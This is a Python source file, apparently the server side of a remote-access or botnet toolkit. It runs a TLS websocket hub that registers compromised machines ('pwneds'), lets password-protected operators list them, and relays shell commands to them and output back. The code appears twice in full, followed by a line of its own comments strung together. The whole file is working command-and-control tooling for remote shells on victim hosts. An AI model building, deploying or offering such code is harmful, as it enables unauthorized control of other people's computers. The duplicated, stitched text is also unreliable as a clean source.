import asyncio
import ssl
import websockets
import os
import json
import time
import base64
import random
import string
import hashlib
from OpenSSL import crypto, SSL
from datetime import datetime

server_password = ""

with open("./config.txt", "r") as config:
    data = config.read()
    data = json.loads(data)
    server_password = base64.b64decode(data["server_password"])

def generate_random(number):
    return ''.join(random.choices(string.ascii_uppercase + string.digits, k=number))

def validate_password(password_to_check):
    salt = server_password[:32]

    new_key = hashlib.pbkdf2_hmac(
    'sha256',
    password_to_check.encode('utf-8'), # Convert the password to bytes
    salt, 
    100000
    )

    return new_key == server_password[32:]

print(generate_random(10))

def cert_gen(
    emailAddress=generate_random(random.randint(5, 20)),
    commonName=generate_random(random.randint(5, 20)),
    countryName=generate_random(2),
    localityName=generate_random(random.randint(5, 20)),
    stateOrProvinceName=generate_random(random.randint(5, 20)),
    organizationName=generate_random(random.randint(5, 20)),
    organizationUnitName=generate_random(random.randint(5, 20)),
    serialNumber=0,
    validityStartInSeconds=0,
    validityEndInSeconds=10*365*24*60*60,
    KEY_FILE = "private.key",
    CERT_FILE="selfsigned.crt"):

    if(os.path.exists("./private.key") and os.path.exists("./selfsigned.crt")):
        return

    # create a key pair
    k = crypto.PKey()
    k.generate_key(crypto.TYPE_RSA, 4096)
    # create a self-signed cert
    cert = crypto.X509()
    cert.get_subject().C = countryName
    cert.get_subject().ST = stateOrProvinceName
    cert.get_subject().L = localityName
    cert.get_subject().O = organizationName
    cert.get_subject().OU = organizationUnitName
    cert.get_subject().CN = commonName
    cert.get_subject().emailAddress = emailAddress
    cert.set_serial_number(serialNumber)
    cert.gmtime_adj_notBefore(0)
    cert.gmtime_adj_notAfter(validityEndInSeconds)
    cert.set_issuer(cert.get_subject())
    cert.set_pubkey(k)
    cert.sign(k, 'sha512')
    with open(CERT_FILE, "wt") as f:
        f.write(crypto.dump_certificate(crypto.FILETYPE_PEM, cert).decode("utf-8"))
    with open(KEY_FILE, "wt") as f:
        f.write(crypto.dump_privatekey(crypto.FILETYPE_PEM, k).decode("utf-8"))

cert_gen()


pwneds = []
clients = []

def log(socket, message):
    ip = ""

    if(socket != None and socket.remote_address != None):
        ip = socket.remote_address[0]
        
        # pad
        while len(ip) < 15:
            ip = ip + " "

    log = str(datetime.now()) + " - " + ip + " - " + message

    print("[LOG]" + log)
    with open("logs.txt", "a") as log_file:
        log_file.write(log + "\n")


def checkExists(key, value, array):
    for item in array:
        if item[key] == value:
            return True
    
    return False

async def handle_socket(websocket, path):
    # receive client connection
    receive_data_raw = await websocket.recv()

    receive_data = json.loads(receive_data_raw)

    if receive_data["command"] == "register_pwned":
        pwned_hostname = receive_data["pwned_hostname"]

        pwned_id = len(pwneds)

        pwneds.append({"pwned_id" : pwned_id, "socket" : websocket, "hostname" : pwned_hostname })

        log(websocket, "shell from " + pwned_hostname + " - Pwned ID : " + str(pwned_id))

        try:
            # pwned stay alive
            while checkExists("pwned_id", pwned_id, pwneds):
                # wait for data (usually command output)
                command_output_raw = await websocket.recv()

                command_output = json.loads(command_output_raw)

                # find client to send output to
                for client in clients:
                    if client["client_id"] == command_output["client_id"]:
                        try:
                            client_sock = client["socket"]

                            await client_sock.send(command_output_raw)
                        except:
                            clients.pop(command_output["client_id"])
        except:
            pwneds.pop(pwned_id)
            raise

    else:
        if(server_password != "" and not validate_password(receive_data["password"])):
            receive_data["output"] = "denied password"

            log(websocket, "client denied")

            await websocket.send(json.dumps(receive_data))
            return

        client_hostname = receive_data["client_hostname"]

        client_id = len(clients)

        log(websocket, "client " + client_hostname + " connected - Client ID " +  str(client_id))

        clients.append({ "client_id" : client_id, "socket" : websocket, "hostname" : client_hostname })

        receive_data["output"] = "connection successful"
        await websocket.send(json.dumps(receive_data))

        try:
            while checkExists("client_id", client_id, clients):
                # wait for command
                receive_data_raw = await websocket.recv()

                receive_data = json.loads(receive_data_raw)
                receive_data["client_id"] = client_id

                if receive_data["command"] == "list":
                    list_output = ""
                    for pwned in pwneds:
                        list_output = str(pwned["pwned_id"]) + " - " + pwned["hostname"]+ '\r\n' + list_output

                    receive_data["output"] = list_output

                    await websocket.send(json.dumps(receive_data))
                elif receive_data["command"] == "killallpwneds":
                    for item in list(pwneds): # list to prevent dictionnary changed
                        try:
                            if(item in pwneds):
                                log(websocket, "closing " + item)
                                await pwneds[item].close()
                            # they will be automatically deleted
                        except Exception as ex:
                            log(websocket, str(ex))

                    receive_data["output"] = "killed all"
                    await websocket.send(json.dumps(receive_data))
                else:
                    # find pwned to send command to
                    found = False

                    for pwned in pwneds:
                        if pwned["pwned_id"] == receive_data["pwned_id"]:
                            found = True
                            try:
                                pwned_sock = pwned["socket"]

                                await pwned_sock.send(json.dumps(receive_data))
                            except:
                                pwneds.pop(receive_data["pwned_id"])
                    
                    if not found:
                        receive_data["output"] = "pwned not found!"
                        await websocket.send(json.dumps(receive_data))
        except Exception as ex:
            clients.pop(client_id)
            log(websocket, str(ex))
                


        

ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
ssl_context.load_cert_chain("./selfsigned.crt", keyfile="./private.key")

start_server = websockets.serve(
    handle_socket, "localhost", 8765, ssl=ssl_context, max_size=None, ping_interval=None
)

asyncio.get_event_loop().run_until_complete(start_server)
asyncio.get_event_loop().run_forever()
import asyncio
import ssl
import websockets
import os
import json
import time
import base64
import random
import string
import hashlib
from OpenSSL import crypto, SSL
from datetime import datetime

server_password = ""

with open("./config.txt", "r") as config:
    data = config.read()
    data = json.loads(data)
    server_password = base64.b64decode(data["server_password"])

def generate_random(number):
    return ''.join(random.choices(string.ascii_uppercase + string.digits, k=number))

def validate_password(password_to_check):
    salt = server_password[:32]

    new_key = hashlib.pbkdf2_hmac(
    'sha256',
    password_to_check.encode('utf-8'), # Convert the password to bytes
    salt, 
    100000
    )

    return new_key == server_password[32:]

print(generate_random(10))

def cert_gen(
    emailAddress=generate_random(random.randint(5, 20)),
    commonName=generate_random(random.randint(5, 20)),
    countryName=generate_random(2),
    localityName=generate_random(random.randint(5, 20)),
    stateOrProvinceName=generate_random(random.randint(5, 20)),
    organizationName=generate_random(random.randint(5, 20)),
    organizationUnitName=generate_random(random.randint(5, 20)),
    serialNumber=0,
    validityStartInSeconds=0,
    validityEndInSeconds=10*365*24*60*60,
    KEY_FILE = "private.key",
    CERT_FILE="selfsigned.crt"):

    if(os.path.exists("./private.key") and os.path.exists("./selfsigned.crt")):
        return

    # create a key pair
    k = crypto.PKey()
    k.generate_key(crypto.TYPE_RSA, 4096)
    # create a self-signed cert
    cert = crypto.X509()
    cert.get_subject().C = countryName
    cert.get_subject().ST = stateOrProvinceName
    cert.get_subject().L = localityName
    cert.get_subject().O = organizationName
    cert.get_subject().OU = organizationUnitName
    cert.get_subject().CN = commonName
    cert.get_subject().emailAddress = emailAddress
    cert.set_serial_number(serialNumber)
    cert.gmtime_adj_notBefore(0)
    cert.gmtime_adj_notAfter(validityEndInSeconds)
    cert.set_issuer(cert.get_subject())
    cert.set_pubkey(k)
    cert.sign(k, 'sha512')
    with open(CERT_FILE, "wt") as f:
        f.write(crypto.dump_certificate(crypto.FILETYPE_PEM, cert).decode("utf-8"))
    with open(KEY_FILE, "wt") as f:
        f.write(crypto.dump_privatekey(crypto.FILETYPE_PEM, k).decode("utf-8"))

cert_gen()


pwneds = []
clients = []

def log(socket, message):
    ip = ""

    if(socket != None and socket.remote_address != None):
        ip = socket.remote_address[0]
        
        # pad
        while len(ip) < 15:
            ip = ip + " "

    log = str(datetime.now()) + " - " + ip + " - " + message

    print("[LOG]" + log)
    with open("logs.txt", "a") as log_file:
        log_file.write(log + "\n")


def checkExists(key, value, array):
    for item in array:
        if item[key] == value:
            return True
    
    return False

async def handle_socket(websocket, path):
    # receive client connection
    receive_data_raw = await websocket.recv()

    receive_data = json.loads(receive_data_raw)

    if receive_data["command"] == "register_pwned":
        pwned_hostname = receive_data["pwned_hostname"]

        pwned_id = len(pwneds)

        pwneds.append({"pwned_id" : pwned_id, "socket" : websocket, "hostname" : pwned_hostname })

        log(websocket, "shell from " + pwned_hostname + " - Pwned ID : " + str(pwned_id))

        try:
            # pwned stay alive
            while checkExists("pwned_id", pwned_id, pwneds):
                # wait for data (usually command output)
                command_output_raw = await websocket.recv()

                command_output = json.loads(command_output_raw)

                # find client to send output to
                for client in clients:
                    if client["client_id"] == command_output["client_id"]:
                        try:
                            client_sock = client["socket"]

                            await client_sock.send(command_output_raw)
                        except:
                            clients.pop(command_output["client_id"])
        except:
            pwneds.pop(pwned_id)
            raise

    else:
        if(server_password != "" and not validate_password(receive_data["password"])):
            receive_data["output"] = "denied password"

            log(websocket, "client denied")

            await websocket.send(json.dumps(receive_data))
            return

        client_hostname = receive_data["client_hostname"]

        client_id = len(clients)

        log(websocket, "client " + client_hostname + " connected - Client ID " +  str(client_id))

        clients.append({ "client_id" : client_id, "socket" : websocket, "hostname" : client_hostname })

        receive_data["output"] = "connection successful"
        await websocket.send(json.dumps(receive_data))

        try:
            while checkExists("client_id", client_id, clients):
                # wait for command
                receive_data_raw = await websocket.recv()

                receive_data = json.loads(receive_data_raw)
                receive_data["client_id"] = client_id

                if receive_data["command"] == "list":
                    list_output = ""
                    for pwned in pwneds:
                        list_output = str(pwned["pwned_id"]) + " - " + pwned["hostname"]+ '\r\n' + list_output

                    receive_data["output"] = list_output

                    await websocket.send(json.dumps(receive_data))
                elif receive_data["command"] == "killallpwneds":
                    for item in list(pwneds): # list to prevent dictionnary changed
                        try:
                            if(item in pwneds):
                                log(websocket, "closing " + item)
                                await pwneds[item].close()
                            # they will be automatically deleted
                        except Exception as ex:
                            log(websocket, str(ex))

                    receive_data["output"] = "killed all"
                    await websocket.send(json.dumps(receive_data))
                else:
                    # find pwned to send command to
                    found = False

                    for pwned in pwneds:
                        if pwned["pwned_id"] == receive_data["pwned_id"]:
                            found = True
                            try:
                                pwned_sock = pwned["socket"]

                                await pwned_sock.send(json.dumps(receive_data))
                            except:
                                pwneds.pop(receive_data["pwned_id"])
                    
                    if not found:
                        receive_data["output"] = "pwned not found!"
                        await websocket.send(json.dumps(receive_data))
        except Exception as ex:
            clients.pop(client_id)
            log(websocket, str(ex))
                


        

ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
ssl_context.load_cert_chain("./selfsigned.crt", keyfile="./private.key")

start_server = websockets.serve(
    handle_socket, "localhost", 8765, ssl=ssl_context, max_size=None, ping_interval=None
)

asyncio.get_event_loop().run_until_complete(start_server)
asyncio.get_event_loop().run_forever()
# Convert the password to bytes # create a key pair # create a self-signed cert # pad # receive client connection # pwned stay alive # wait for data (usually command output) # find client to send output to # wait for command # list to prevent dictionnary changed # they will be automatically deleted # find pwned to send command to